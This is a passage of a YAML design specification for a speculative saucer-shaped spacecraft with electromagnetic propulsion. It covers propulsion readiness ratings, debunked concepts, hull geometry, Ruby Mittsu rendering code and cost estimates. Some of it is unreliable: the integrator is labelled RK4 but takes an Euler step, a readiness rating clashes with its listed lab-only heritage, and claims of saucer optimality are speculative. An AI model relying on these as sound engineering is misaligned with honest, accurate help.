plasmoid_stability_during_acceleration\n\n        - magnetic_nozzle_efficiency\n\n        - plasma_detachment\n\n        - trl_2_3_propulsion_application\n\n      application: \"Fusion research validates physics; propulsion 15-25 years out\"\n    piezoelectric_array:\n      &lt;&lt;: *trl_assessment\n\n      level: 4\n\n      flight_heritage: none\n\n      last_demonstration: \"Laboratory demonstrations only\"\n\n      readiness_date: never_for_primary_propulsion\n\n      rank: 12\n      realism_score: 3\n\n      physics: \"Distributed piezo elements create acoustic forces for micro-propulsion\"\n\n      performance:\n        coefficient_pmn_pt: {approximately: 2000, unit: \"pC/N\"}\n\n        frequency: {min: 1, max: 1000, unit: kHz}\n\n        force: {scale: micro_to_milli_newton}\n\n        power: {min: 1, max: 100, unit: W}\n\n      limitations:\n        - very_low_thrust\n\n        - complex_control\n\n        - structural_fatigue\n\n        - thermal_limitations\n\n      application: \"Fine attitude control only, not primary propulsion\"\n    dbd_flow_control:\n      &lt;&lt;: *trl_assessment\n\n      level: 7\n\n      flight_heritage: \"Laboratory and wind tunnel demonstrations\"\n\n      last_demonstration: \"45-68% skin friction reduction turbulent flows\"\n\n      readiness_date: 5-10 years_as_augmentation\n\n      rank: 13\n      realism_score: 7_drag_reduction_4_primary\n\n      physics: \"AC plasma between surface electrodes creates body force in boundary layer\"\n\n      configuration:\n        geometry: hull_surface_dbd_actuators\n\n        application: drag_reduction_and_virtual_shaping\n\n        benefit: reduced_power_for_primary_propulsion\n\n      performance:\n        friction_reduction: {min: 0.30, max: 0.68, unit: ratio}\n\n        power: {min: 10, max: 100, unit: \"W/m\u00b2\"}\n\n        voltage: {min: 5, max: 20, unit: kV_ac}\n\n        frequency: {min: 1, max: 10, unit: kHz}\n\n      application: \"Augmentation system, not primary propulsion\"\n    biefeld_brown:\n      &lt;&lt;: *trl_assessment\n\n      level: 4\n\n      flight_heritage: \"MIT EHD aircraft (ionic wind mechanism)\"\n\n      last_demonstration: \"Army Research Lab 2002 confirmed ionic wind only\"\n\n      readiness_date: subsumed_by_ehd\n\n      rank: 14\n      realism_score: 4\n\n      physics: \"Asymmetric capacitor produces ionic wind (electrohydrodynamics), NOT anti-gravity\"\n\n      clarification: \"Biefeld-Brown effect is EHD with capacitor geometry. No exotic physics.\"\n      performance:\n        voltage: {min: 25000, max: 200000, unit: V}\n\n        mechanism: ion_wind_confirmed\n\n        atmospheric_only: true\n\n        efficiency: {max: 0.01, unit: ratio}\n\n      application: \"Historical interest exceeds utility; subsumed by EHD (Concept 7)\"\n    mhd_reentry_power:\n      &lt;&lt;: *trl_assessment\n\n      level: 2-3\n\n      flight_heritage: none\n\n      last_demonstration: \"Ground facilities only, DIA research\"\n\n      readiness_date: 15-25 years\n\n      rank: 15\n      realism_score: 5\n\n      physics: \"Reentry plasma flow through B-field generates MW power while creating drag\"\n\n      configuration:\n        geometry: surface_mhd_on_disc_leading_edge\n\n        dual_use: deceleration_plus_power_recovery\n\n        saucer_advantage: \"Large cross-section for energy capture\"\n\n      performance_dia_projections:\n        power_extraction: {scale: mw_class_from_reentry}\n\n        drag_augmentation: {min: 2, max: 5, factor: \"\u00d7 baseline\"}\n\n        operating_regime: {min: 10, unit: mach_plus}\n\n        plasma_conductivity: {min: 1000, max: 10000, unit: \"S/m\"}\n\n      challenges:\n        - extreme_thermal_environment\n\n        - magnet_protection\n\n        - power_conditioning_harsh_environment\n\n        - trl_2_3_no_flight_demo\n\n      application: \"Atmospheric entry, not cruise propulsion\"\n  debunked_concepts_excluded:\n    note: \"Following concepts fail physics validation and must not be pursued\"\n\n    emdrive_rf_cavity:\n      status: definitively_debunked\n\n      evidence: \"Dresden University 2021 battery-isolated thrust balance: ZERO thrust within measurement accuracy, 3+ orders magnitude below claims\"\n\n      physics_violation: conservation_of_momentum\n\n      explanation: \"NASA Eagleworks positive results were thermal drift artifacts in mounting hardware\"\n\n    mach_effect:\n      status: definitively_debunked\n\n      evidence: \"Dresden 2021 identified forces as vibrational artifacts, not real thrust\"\n\n      physics_violation: \"Inconsistent with Einstein field equations\"\n\n    quantum_vacuum_plasma:\n      status: pseudoscience\n\n      evidence: \"Sean Carroll (Caltech): 'quantum vacuum virtual plasma' not meaningful physics concept\"\n\n      explanation: \"All claimed effects are experimental error\"\n\n    podkletnov_gravity_shielding:\n      status: failed_replication\n\n      evidence: \"Toronto, Sheffield, NASA, Tajmar all produced null results\"\n\n      explanation: \"Original claims likely instrumentation artifacts\"\n\n    pais_inertial_mass_reduction:\n      status: disproven\n\n      evidence: \"Navy testing 3 years, ~$500K concluded: 'Pais Effect could not be proven'\"\n\n      patent_status: expired_non_payment\n\n      classification: pseudoscience\n\n    alcubierre_warp:\n      status: requires_unphysical_matter\n\n      evidence: \"Needs exotic matter with negative energy density - never observed, may not exist\"\n\n      math_status: \"GR-consistent but physically impossible\"\n\nvalidation:\n  propulsion_selection_criteria:\n\n    physics_validity:\n\n      weight: 0.30\n\n      checks: [conservation_laws, experimental_validation, peer_review]\n\n      veto: violates_known_physics\n\n    technology_readiness:\n      weight: 0.25\n\n      metrics: [trl_level, flight_heritage, lab_demonstrations]\n\n      threshold: trl_3_minimum\n\n    performance:\n      weight: 0.20\n\n      metrics: [thrust_to_power, specific_impulse, efficiency]\n\n    scalability:\n      weight: 0.15\n\n      checks: [small_prototype_to_full_craft, power_requirements, mass_fraction]\n\n    cost:\n      weight: 0.10\n\n      factors: [development_cost, manufacturing, timeline]\n\n  technology_readiness_definitions:\n    trl_9: \"Actual system flight proven through successful mission operations\"\n\n    trl_7_8: \"System prototype demonstrated in space environment\"\n\n    trl_5_6: \"Component or breadboard validated in relevant environment\"\n\n    trl_3_4: \"Component or breadboard validation in laboratory\"\n\n    trl_1_2: \"Basic principles observed and reported\"\n\nsaucer_geometry_advantages:\n  note: \"Disc/saucer configuration uniquely optimal for no-moving-parts electromagnetic propulsion\"\n\n  electromagnetic_benefits:\n    circumferential_electrode_placement:\n\n      description: \"360\u00b0 uniform electrode distribution impossible with conventional aircraft\"\n\n      systems: [hall_array, mhd_atmospheric, pulsed_plasma]\n\n      advantage: \"Reaction forces distribute evenly across circular hull vs point loads\"\n\n    axisymmetric_field_distribution:\n      description: \"Natural symmetry for toroidal/dipole magnetic fields\"\n\n      systems: [mpd_superconducting, vasimr, frc_plasma]\n\n      advantage: \"Magnetic flux closure without edge effects\"\n\n    omnidirectional_thrust_vectoring:\n      description: \"Full 360\u00b0 control through differential electrode activation\"\n\n      systems: [hall_array, mhd, ehd_corona]\n\n      advantage: \"No mechanical gimbals - electromagnetic steering only\"\n\n    uniform_plasma_sheath:\n      description: \"Symmetric plasma attachment around entire perimeter\"\n\n      systems: [mhd_atmospheric, plasma_window]\n\n      advantage: \"Eliminates asymmetric loading during atmospheric flight\"\n\n  aerodynamic_benefits:\n    coanda_airfoil:\n\n      description: \"Disc profile naturally creates lift via Coand\u0103 effect\"\n\n      reference: \"Subrata Roy WEAV - 'saucer provides greater lift than wing'\"\n\n      mhd_synergy: \"MHD-generated wind enhances Coand\u0103 circulation\"\n\n    large_wetted_area:\n      description: \"Maximum surface for MHD interaction with atmosphere\"\n\n      systems: [mhd_atmospheric, ehd_corona, dbd_flow_control]\n\n      advantage: \"Thrust scales with area - disc maximizes this\"\n\n    minimal_frontal_area:\n      description: \"Low drag at high speed vs conventional aircraft\"\n\n      benefit: \"Drag coefficient comparable to streamlined bodies\"\n\n  structural_benefits:\n    central_mass_distribution:\n\n      description: \"Heavy components (magnets, power) in central hub\"\n\n      advantage: \"Low moment of inertia for agility\"\n\n      systems: [mpd_toroidal_magnets, nuclear_reactor, frc_chamber]\n\n    load_path_efficiency:\n      description: \"Circular structure handles hoop stress naturally\"\n\n      advantage: \"Propulsion loads become circumferential tension\"\n\n    thermal_management:\n      description: \"Radial heat rejection from center to edge\"\n\n      advantage: \"Short conduction paths from hot core to radiating surface\"\n\n  historical_validation:\n    v173_flying_pancake: \"Vought 1942 - proven disc aerodynamics\"\n\n    avrocar_vz9: \"1959-1961 US Army disc with central thruster\"\n\n    ekip_l1: \"Russian disc research - aerodynamically stable\"\n\n    nasa_mapx: \"MHD experiment explicitly used disc-like test articles\"\n\n  optimal_scale:\n    small_10m: \"Electromagnetic effects scale favorably\"\n\n    medium_25m: \"Sweet spot for power-to-thrust ratio\"\n\n    large_50m: \"Maximum benefit from circumferential electrode span\"\n\ngeometry:\n  saucer_configuration:\n\n    overall:\n\n      diameter: {min: 10, max: 50, unit: m}\n\n      thickness_center: {min: 2, max: 5, unit: m}\n\n      thickness_edge: {min: 0.5, max: 1.5, unit: m}\n\n      profile: lenticular_or_biconvex\n\n    hull_layers:\n      outer_tps:\n\n        material: carbon_phenolic_or_pica_x\n\n        thickness: {min: 50, max: 200, unit: mm}\n\n        gradient: density_graded\n\n      structural_shell:\n        material: mattergen_uhtc_composite\n\n        thickness: {min: 20, max: 80, unit: mm}\n\n        stiffeners: isogrid_or_orthogrid\n\n      thermal_barrier:\n        material: aerogel_or_microporous_insulation\n\n        thickness: {min: 50, max: 150, unit: mm}\n\n      inner_pressure_vessel:\n        material: aluminum_lithium_or_composite\n\n        thickness: {min: 10, max: 30, unit: mm}\n\n    mhd_thruster:\n      location: equatorial_ring_or_central_disc\n\n      channel_cross_section: {width: 0.5, height: 0.3, unit: m}\n\n      channel_length: {min: 1, max: 3, unit: m}\n\n      electrode_span: {target: 1, unit: m}\n\n      magnetic_circuit:\n        pole_pieces: soft_iron_or_cobalt_iron\n\n        coils: nbti_or_nb3sn_superconductor\n\n        cryostat: liquid_helium_or_cryocooler\n\n  parametric:\n    scaling:\n\n      small: {diameter: 10, crew: 2, thrust: 100, unit: kN}\n\n      medium: {diameter: 25, crew: 6, thrust: 500, unit: kN}\n\n      large: {diameter: 50, crew: 20, thrust: 2000, unit: kN}\n\n    optimization:\n      objectives: [minimize_mass, maximize_thrust_to_weight, maximize_loiter_time]\n\n      constraints: [thermal_limits, structural_integrity, em_field_strength]\n\nvisualization:\n  engine: mittsu\n\n  mittsu:\n    version: \"0.4.0+\"\n\n    renderer: opengl\n\n    scene:\n      background: 0x000000\n\n      fog: {type: exponential, color: 0x000011, density: 0.0001}\n\n      stars: procedural_skybox\n\n    camera:\n      type: perspective\n\n      fov: 60.0\n\n      near: 0.1\n\n      far: 10000.0\n\n      position: {x: 0, y: 50, z: 100}\n\n      look_at: {x: 0, y: 0, z: 0}\n\n    lighting:\n      ambient: {color: 0x202020, intensity: 0.2}\n\n      directional:\n\n        - {color: 0xffffff, intensity: 1.0, position: {x: 1000, y: 2000, z: 1000}, cast_shadow: true}\n\n      point:\n\n        - {color: 0xff8800, intensity: 0.8, position: {x: 0, y: 0, z: 0}, distance: 50, note: \"Plasma glow\"}\n\n    materials:\n      uhtc_hull:\n\n        type: mesh_standard\n\n        color: 0x334455\n\n        metalness: 0.8\n\n        roughness: 0.3\n\n        normal_map: procedural_grain_structure\n\n      electrode:\n        type: mesh_physical\n\n        color: 0xcccccc\n\n        metalness: 0.95\n\n        roughness: 0.05\n\n        clearcoat: 0.3\n\n        emissive: 0x442200\n\n        emissive_intensity: 0.5\n\n      plasma_volume:\n        type: mesh_physical\n\n        color: 0xff6600\n\n        transmission: 0.8\n\n        opacity: 0.4\n\n        emissive: 0xff8800\n\n        emissive_intensity: 2.0\n\n        ior: 1.0\n\n      magnetic_field_lines:\n        type: line_basic\n\n        color: 0x00ffff\n\n        opacity: 0.6\n\n        line_width: 2\n\n    plasma_visualization:\n      method: particle_system\n\n      particle_count: 10000\n\n      velocity_field: j_cross_b_vectors\n\n      color_by: temperature_or_density\n\n      field_lines:\n        source: magnetic_field_solver\n\n        integration: runge_kutta_4\n\n        density: 50_lines\n\n    controls:\n      type: orbit\n\n      enable_zoom: true\n\n      enable_pan: true\n\n      enable_rotate: true\n\n      auto_rotate: true\n\n      auto_rotate_speed: 0.5\n\n    rendering:\n      antialias: true\n\n      shadow_map: {enabled: true, type: pcf_soft}\n\n      hdr: true\n\n      bloom: {strength: 0.8, threshold: 0.8, radius: 0.5}\n\nexport:\n  step:\n\n    format: ap214\n\n    units: millimeters\n\n    coordinate_system: right_handed_z_up\n\n    assembly_structure: hierarchical\n\n    components:\n      - hull_outer_shell\n\n      - hull_inner_shell\n\n      - thermal_barrier\n\n      - mhd_channel\n\n      - electrodes\n\n      - magnetic_pole_pieces\n\n      - structural_stiffeners\n\n    metadata:\n      include: [material_specifications, manufacturing_notes, assembly_sequence]\n\n  stl:\n    format: binary\n\n    resolution: high_for_ceramic_printing\n\n    validation:\n      manifold_check: mandatory\n\n      minimum_wall_thickness: 5mm\n\n      overhang_analysis: {max_angle: 45, unit: degrees}\n\n  fea_mesh:\n    format: abaqus_inp\n\n    element_type: c3d10\n\n    element_size: {hull: 10, electrode: 2, plasma_interface: 0.5, unit: mm}\n\n    boundary_conditions:\n\n      - thermal_loads\n\n      - electromagnetic_loads\n\n      - structural_loads\n\n      - combined_environment\n\nworkflow:\n  phases:\n\n    discover:\n\n      inputs: [mission_requirements, thermal_envelope, electromagnetic_constraints]\n\n      process:\n\n        1: parse_requirements_to_property_targets\n\n        2: invoke_mattergen_uhtc_generation\n\n        3: filter_by_neutron_activation\n\n        4: predict_em_properties\n\n        5: estimate_synthesis_difficulty\n\n      outputs: [15_material_candidates]\n\n    validate:\n      adversarial_cascade:\n\n        security:\n\n          checks: [element_export_control, radioactive_screening, toxicity_assessment]\n\n          references: [itar, ear, reach]\n\n          veto: true\n\n        attacker:\n          checks: [thermal_shock_failure, plasma_induced_cracking, em_field_distortion, oxidation_runaway]\n\n          scenarios: [worst_case_reentry, electrode_arcing, coolant_loss]\n\n          veto: true\n\n        reliability:\n          checks: [synthesis_pathway_validation, phonon_stability, grain_boundary_integrity]\n\n          dft_validation: top_7_candidates\n\n          experimental_precedent: icsd_cross_reference\n\n          threshold: 0.95\n\n        performance:\n          checks: [thrust_density, specific_impulse, power_to_weight, thermal_efficiency]\n\n          simulations: [cfd_plasma, em_field, thermal_transient]\n\n          threshold: 0.85\n\n      outputs: [3_validated_candidates]\n    design:\n      propulsion_selection:\n\n        method: trl_weighted_multi_criteria_decision\n\n        criteria:\n\n          physics_validity: {weight: 0.30, veto: violates_conservation_laws}\n\n          technology_readiness: {weight: 0.25, threshold: trl_3_minimum}\n\n          performance: {weight: 0.20, metrics: [thrust_to_power, isp, efficiency]}\n\n          scalability: {weight: 0.15, checks: [prototype_to_full, power_scaling]}\n\n          cost: {weight: 0.10, factors: [development, timeline, manufacturing]}\n\n        selection_output:\n          primary: \"Hall thruster array (TRL 9) OR ion cluster (TRL 9)\"\n\n          secondary: \"MPD superconducting (TRL 4-5) for high-power missions\"\n\n          tertiary: \"Atmospheric MHD (TRL 3-4) for dual-regime capability\"\n\n          attitude_control: \"Pulsed plasma distributed (TRL 7-9)\"\n\n          cruise_augmentation: \"Solar sail LCD (TRL 9)\"\n\n        excluded_systems:\n          reason: physics_violation_or_debunked\n\n          list: [emdrive, mach_effect, quantum_vacuum, podkletnov, pais, alcubierre]\n\n      hull_geometry:\n        method: parametric_nurbs_surfaces\n\n        optimization: minimize_mass_subject_to_stress_and_em_constraints\n\n        propulsion_integration:\n\n          hall_ion: circumferential_or_central_placement\n\n          mpd: central_hub_with_toroidal_magnets\n\n          mhd: segmented_faraday_electrodes_in_hull\n\n        tools:\n          ruby: mittsu_geometry_builder\n\n          cad: openscad_or_freecad_api\n\n      electromagnetic_architecture:\n        hall_array:\n\n          units: {min: 8, max: 12}\n\n          placement: circumferential_360_degree\n\n          vectoring: magnetic_field_steering\n\n          power_per_unit: {min: 0.5, max: 100, unit: kW}\n\n        ion_cluster:\n          units: {min: 4, max: 8}\n\n          placement: central_hub\n\n          vectoring: differential_throttling\n\n          power_per_unit: {min: 0.6, max: 7.4, unit: kW}\n\n        mpd_option:\n          units: {min: 1, max: 4}\n\n          magnet: rebco_toroidal_at_77k_or_20k\n\n          power_per_unit: {min: 100, max: 1000, unit: kW}\n\n          mass_consideration: large_magnet_in_hub\n\n        mhd_option:\n          electrode: circumferential_segmented\n\n          magnet: central_2t_to_20t\n\n          ionization: [arc_heater, rf, alkali_seed]\n\n          power: {min: 1500, max: 30000, unit: kW}\n\n      power_system:\n        primary: compact_nuclear_kilopower_derivative\n\n        options:\n\n          kilopower: {power: [1, 10], unit: kWe, trl: 5}\n\n          scaled_kilopower: {power: [10, 100], unit: kWe, development: \"5-10 years\"}\n\n          megapower: {power: [1, 10], unit: MWe, development: \"15-25 years\"}\n\n        fallback: solar_array_with_battery_storage\n\n        voltage: high_voltage_dc_bus\n\n        conversion: sic_power_electronics\n\n      composite_layup:\n        uhtc_matrix: mattergen_output\n\n        fiber_reinforcement: sic_or_carbon\n\n        interface_engineering: bn_coating_for_crack_deflection\n\n        manufacturing:\n          process: chemical_vapor_infiltration\n\n          temperature: 1200  # K\n\n          pressure: 10  # kPa\n\n          duration: 100  # hours\n\n      outputs: [parametric_cad_assembly, simulation_results, manufacturing_procedures]\n    visualize:\n      mittsu_scene:\n\n        1: load_step_assembly\n\n        2: convert_to_mittsu_geometry\n\n        3: apply_material_properties\n\n        4: add_plasma_visualization\n\n        5: add_magnetic_field_lines\n\n        6: render_interactive_3d_view\n\n        7: export_animation_sequence\n\n      plasma_simulation:\n        solver: pic_or_mhd_solver\n\n        visualization: map_to_mittsu_particles\n\n        color_scheme: temperature_gradient\n\n      outputs: [interactive_window, animation_frames, field_line_plots]\n    export:\n      manufacturing_files:\n\n        hull: [step_for_cnc_machining, stl_for_ceramic_3d_printing]\n\n        electrodes: [step_for_electrode_discharge_machining, gcode_for_metal_printing]\n\n        magnetic_circuit: [step_for_conventional_machining, dwg_for_coil_winding]\n\n      material_datasheets:\n        format: master_mg_spacecraft_material_{id}.yml\n\n        include:\n\n          - composition_and_crystal_structure\n\n          - dft_validated_properties\n\n          - em_properties_with_field_dependence\n\n          - thermal_properties_vs_temperature\n\n          - synthesis_pathway_with_process_parameters\n\n          - neutron_activation_analysis\n\n          - cost_and_availability_assessment\n\n      simulation_setup:\n        fea: abaqus_input_deck\n\n        cfd: openfoam_case_directory\n\n        em: comsol_model_file\n\n      outputs: [manufacturing_files, material_datasheets, simulation_setups, assembly_instructions]\n    iterate:\n      convergence:\n\n        metrics: [thrust_to_weight, thermal_margin, em_efficiency, manufacturing_readiness]\n\n        multi_objective: pareto_frontier\n\n        max_iterations: 30\n\n      on_failure:\n        rollback: best_validated_state\n\n        adjust: relax_non_critical_constraints\n\n        escalate: after_5_failed_cycles\n\nruby_integration:\n  services:\n\n    spacecraft_materials_orchestrator:\n\n      path: app/services/spacecraft_materials_orchestrator.rb\n\n      responsibilities:\n\n        - parse_mission_requirements\n\n        - invoke_mattergen_for_uhtc\n\n        - apply_adversarial_validation\n\n        - coordinate_em_simulations\n\n        - generate_hull_geometry\n\n        - trigger_visualization\n\n    mittsu_spacecraft_visualizer:\n      path: app/services/mittsu_spacecraft_visualizer.rb\n\n      responsibilities:\n\n        - load_step_assembly\n\n        - construct_saucer_geometry\n\n        - add_plasma_effects\n\n        - add_magnetic_field_visualization\n\n        - render_to_window\n\n        - export_animation\n\n      example: |\n        require 'mittsu'\n\n        class MittsuSpacecraftVisualizer\n          def render_spacecraft(step_file:, plasma_data:, output_path:)\n\n            scene = Mittsu::Scene.new\n\n            camera = Mittsu::PerspectiveCamera.new(60.0, ASPECT, 0.1, 10000.0)\n\n            renderer = Mittsu::OpenGLRenderer.new(width: 1920, height: 1080)\n\n            # Load hull geometry from STEP\n            hull = StepImporter.load(step_file)\n\n            # UHTC material per master.yml spec\n            uhtc_material = Mittsu::MeshStandardMaterial.new(\n\n              color: 0x334455,\n\n              metalness: 0.8,\n\n              roughness: 0.3\n\n            )\n\n            hull_mesh = Mittsu::Mesh.new(hull.geometry, uhtc_material)\n            scene.add(hull_mesh)\n\n            # Add electrode with emissive glow\n            electrode_material = Mittsu::MeshPhysicalMaterial.new(\n\n              color: 0xcccccc,\n\n              metalness: 0.95,\n\n              roughness: 0.05,\n\n              emissive: 0x442200,\n\n              emissive_intensity: 0.5\n\n            )\n\n            electrode_geometry = create_electrode_geometry\n            electrode_mesh = Mittsu::Mesh.new(electrode_geometry, electrode_material)\n\n            scene.add(electrode_mesh)\n\n            # Plasma volume visualization\n            plasma_material = Mittsu::MeshPhysicalMaterial.new(\n\n              color: 0xff6600,\n\n              transmission: 0.8,\n\n              opacity: 0.4,\n\n              emissive: 0xff8800,\n\n              emissive_intensity: 2.0\n\n            )\n\n            plasma_geometry = create_plasma_volume\n            plasma_mesh = Mittsu::Mesh.new(plasma_geometry, plasma_material)\n\n            scene.add(plasma_mesh)\n\n            # Magnetic field lines\n            field_lines = generate_magnetic_field_lines(plasma_data[:b_field])\n\n            field_lines.each do |line|\n\n              line_geometry = Mittsu::Geometry.new\n\n              line.points.each { |p| line_geometry.vertices &lt;&lt; Mittsu::Vector3.new(p.x, p.y, p.z) }\n\n              line_material = Mittsu::LineBasicMaterial.new(\n                color: 0x00ffff,\n\n                opacity: 0.6,\n\n                transparent: true\n\n              )\n\n              field_line_mesh = Mittsu::Line.new(line_geometry, line_material)\n              scene.add(field_line_mesh)\n\n            end\n\n            # Lighting\n            ambient = Mittsu::AmbientLight.new(0x202020, 0.2)\n\n            scene.add(ambient)\n\n            directional = Mittsu::DirectionalLight.new(0xffffff, 1.0)\n            directional.position.set(1000, 2000, 1000)\n\n            directional.cast_shadow = true\n\n            scene.add(directional)\n\n            # Plasma glow point light\n            plasma_light = Mittsu::PointLight.new(0xff8800, 0.8, 50)\n\n            plasma_light.position.set(0, 0, 0)\n\n            scene.add(plasma_light)\n\n            # Camera positioning\n            camera.position.set(0, 50, 100)\n\n            camera.look_at(Mittsu::Vector3.new(0, 0, 0))\n\n            # Render loop\n            renderer.window.run do\n\n              hull_mesh.rotation.y += 0.001\n\n              renderer.render(scene, camera)\n\n            end\n\n            # Export animation frames\n            export_animation_sequence(scene, camera, output_path)\n\n          end\n\n          private\n          def generate_magnetic_field_lines(b_field_data)\n            field_lines = []\n\n            seed_points = generate_seed_points_on_electrode_surface\n\n            seed_points.each do |seed|\n              points = integrate_field_line(seed, b_field_data)\n\n              field_lines &lt;&lt; {points: points}\n\n            end\n\n            field_lines\n          end\n\n          def integrate_field_line(seed, b_field, steps: 100, dt: 0.1)\n            points = [seed]\n\n            current = seed.dup\n\n            steps.times do\n              b = interpolate_field(current, b_field)\n\n              b_normalized = b.normalize\n\n              # RK4 integration\n              current = current + b_normalized * dt\n\n              points &lt;&lt; current.dup\n\n              break if current.length &gt; 100  # Field line escape\n            end\n\n            points\n          end\n\n        end\n\n    step_importer:\n      path: app/services/step_importer.rb\n\n      dependencies: [opencascade_ruby_bindings, or_step_parser_gem]\n\n      example: |\n        class StepImporter\n\n          def self.load(filepath)\n\n            # Parse STEP AP214 file\n\n            parser = StepParser.new(filepath)\n\n            entities = parser.parse\n\n            # Extract B-rep geometry\n            shells = entities.select { |e| e.type == :closed_shell }\n\n            # Convert to Mittsu geometry\n            geometry = Mittsu::Geometry.new\n\n            shells.each do |shell|\n              shell.faces.each do |face|\n\n                triangulate_face(face).each do |triangle|\n\n                  geometry.vertices.concat(triangle.vertices)\n\n                  geometry.faces &lt;&lt; Mittsu::Face3.new(\n\n                    geometry.vertices.length - 3,\n\n                    geometry.vertices.length - 2,\n\n                    geometry.vertices.length - 1\n\n                  )\n\n                end\n\n              end\n\n            end\n\n            geometry.compute_face_normals\n            geometry.compute_vertex_normals\n\n            OpenStruct.new(geometry: geometry)\n          end\n\n        end\n\nplasma_physics:\n  mhd_equations:\n\n    continuity: \"\u2202\u03c1/\u2202t + \u2207\u00b7(\u03c1v) = 0\"\n\n    momentum: \"\u03c1(\u2202v/\u2202t + v\u00b7\u2207v) = -\u2207p + J\u00d7B + \u03bc\u2207\u00b2v\"\n\n    energy: \"\u2202(\u03c1e)/\u2202t + \u2207\u00b7(\u03c1ev) = -p\u2207\u00b7v + J\u00b7E - \u2207\u00b7q\"\n\n    maxwells: [\"\u2207\u00d7E = -\u2202B/\u2202t\", \"\u2207\u00d7B = \u03bc\u2080J\", \"\u2207\u00b7B = 0\"]\n\n    ohms_law: \"J = \u03c3(E + v\u00d7B)\"\n\n  boundary_conditions:\n    electrode_surface:\n\n      type: conducting_wall\n\n      current_density: specified_or_floating\n\n      temperature: calculated_from_heat_balance\n\n    insulator_surface:\n      type: dielectric\n\n      current_density: zero_normal_component\n\n      charge_accumulation: allowed\n\n    plasma_inlet:\n      type: mass_flow_specified\n\n      temperature: specified\n\n      velocity: calculated_from_continuity\n\n    plasma_outlet:\n      type: pressure_specified\n\n      outflow: zero_gradient\n\n  solver:\n    method: finite_volume\n\n    discretization: second_order_upwind\n\n    time_integration: implicit_euler_or_bdf2\n\n    coupling: iterative_segregated_or_monolithic\n\n    convergence:\n      residuals: {momentum: 1e-4, energy: 1e-5, em: 1e-6}\n\n      monitors: [thrust, power, efficiency]\n\ntesting:\n  simulations:\n\n    thermal:\n\n      software: openfoam_chtmultiregion\n\n      scenarios:\n\n        - hypersonic_reentry: {mach: 15, altitude: 40, duration: 600}\n\n        - plasma_thruster_operation: {power: 10, duration: 3600}\n\n        - thermal_soak: {duration: 86400}\n\n      validation: compare_to_arc_jet_test_data\n    electromagnetic:\n      software: comsol_or_elmer\n\n      analyses:\n\n        - magnetic_field_distribution\n\n        - current_density_uniformity\n\n        - lorentz_force_calculation\n\n        - electrode_heat_generation\n\n      validation: compare_to_mapx_nasa_data\n    structural:\n      software: abaqus_or_calculix\n\n      loads:\n\n        - pressure_differential: 1_atm\n\n        - thermal_gradients: from_thermal_sim\n\n        - em_body_forces: from_em_sim\n\n        - g_loads: {lateral: 5, vertical: 10}\n\n      failure_criteria: [tsai_hill, maximum_stress, paris_law_for_crack_growth]\n    combined:\n      method: co_simulation\n\n      coupling: [thermal_structural, em_thermal, plasma_em]\n\n      time_scale: {thermal: 1, structural: 0.01, em: 1e-6}\n\n  experimental:\n    synthesis:\n\n      facilities: [spark_plasma_sintering, hot_press, cvd_reactor]\n\n      characterization: [xrd, sem, tem, xps, wds]\n\n      property_measurement: [nanoindentation, four_point_probe, dilatometry, dsc_tga]\n\n    plasma_testing:\n      facility: arc_jet_or_plasma_torch\n\n      conditions: {heat_flux: 10, enthalpy: 20, pressure: 1000}\n\n      measurements: [surface_temperature, erosion_rate, spectroscopy]\n\n    validation_criteria:\n      property_agreement: {within: 0.20, of: dft_prediction}\n\n      synthesis_reproducibility: {coefficient_of_variation: 0.10}\n\ncost:\n  propulsion_systems:\n\n    hall_thruster_array:\n\n      development: {min: 50, max: 200, unit: \"M USD\", timeline: \"0-2 years\"}\n\n      unit_cost_per_thruster: {min: 0.5, max: 2, unit: \"M USD\"}\n\n      flight_heritage: extensive_6000plus_satellites\n\n      risk: low\n\n    gridded_ion_cluster:\n      development: {min: 50, max: 200, unit: \"M USD\", timeline: \"0-2 years\"}\n\n      unit_cost_per_engine: {min: 1, max: 3, unit: \"M USD\"}\n\n      flight_heritage: extensive_dawn_dart_deep_space_1\n\n      risk: low\n\n    pulsed_plasma_distributed:\n      development: {min: 10, max: 50, unit: \"M USD\", timeline: \"0-2 years\"}\n\n      unit_cost_per_module: {min: 0.01, max: 0.1, unit: \"M USD\"}\n\n      flight_heritage: 60_years_zond_2_to_eo1\n\n      risk: low\n\n    mpd_superconducting:\n      development: {min: 200, max: 800, unit: \"M USD\", timeline: \"5-10 years\"}\n\n      unit_cost_per_thruster: {min: 10, max: 50, unit: \"M USD\"}\n\n      magnet_cost: {min: 5, max: 20, unit: \"M USD per toroid\"}\n\n      cryogenic_system: {min: 2, max: 10, unit: \"M USD\"}\n\n      risk: medium_electrode_erosion_and_cooling\n\n    atmospheric_mhd:\n      development: {min: 500, max: 2000, unit: \"M USD\", timeline: \"10-15 years\"}\n\n      unit_cost: {min: 50, max: 200, unit: \"M USD\"}\n\n      magnet_20t_rebco: {min: 20, max: 100, unit: \"M USD\"}\n\n      power_system_mw: {min: 100, max: 500, unit: \"M USD\"}\n\n      risk: high_integration_and_ionization\n\n    vasimr:\n      development: {min: 300, max: 1000, unit: \"M USD\", timeline: \"10-20 years\"}\n\n      unit_cost: {min: 20, max: 80, unit: \"M USD\"}\n\n      power_requirement: \"Requires 200+ kW nuclear\"\n\n      risk: high_no_flight_demo_after_decades\n\n  materials:\n    zrb2_powder: {cost_per_kg: 150, purity: 0.995}\n\n    hfb2_powder: {cost_per_kg: 800, purity: 0.99}\n\n    sic_powder: {cost_per_kg: 50, purity: 0.999}\n\n    tungsten_rod: {cost_per_kg: 40, purity: 0.9999}\n\n    carbon_fiber: {cost_per_kg: 30, type: T800}\n\n    rebco_tape: {cost_per_meter: 50, width: \"4mm\", current: \"300 A\"}\n\n    boron_nitride: {cost_per_kg: 200, grade: pyrolytic}\n\n    molybdenum: {cost_per_kg: 65, purity: 0.995}\n\n  processing:\n    spark_plasma_sintering: {cost_per_batch: 5000, batch_size_kg: 10, time_hours: 4}\n\n    hot_isostatic_pressing: {cost_per_batch: 8000, batch_size_kg: 50, time_hours: 8}\n\n    chemical_vapor_infiltration: {cost_per_m2: 2000, time_hours: 100}\n\n    cnc_machining: {cost_per_hour: 150, uhtc_tool_wear: high}\n\n    rebco_magnet_winding: {cost_per_kg: 5000, time_hours: 100}\n\n  power_systems:\n    kilopower_1_10kw: {cost: \"50-100 M USD\", trl: 5, timeline: \"5 years\"}\n\n    scaled_kilopower_100kw: {cost: \"200-500 M USD\", trl: 3, timeline: \"10 years\"}\n\n    megapower_1_10mw: {cost: \"500-2000 M USD\", trl: 2, timeline: \"15-25 years\"}\n\n    solar_array_100kw: {cost: \"10-50 M USD\", trl: 9, mass_penalty: high}\n\n  target_spacecraft:\n    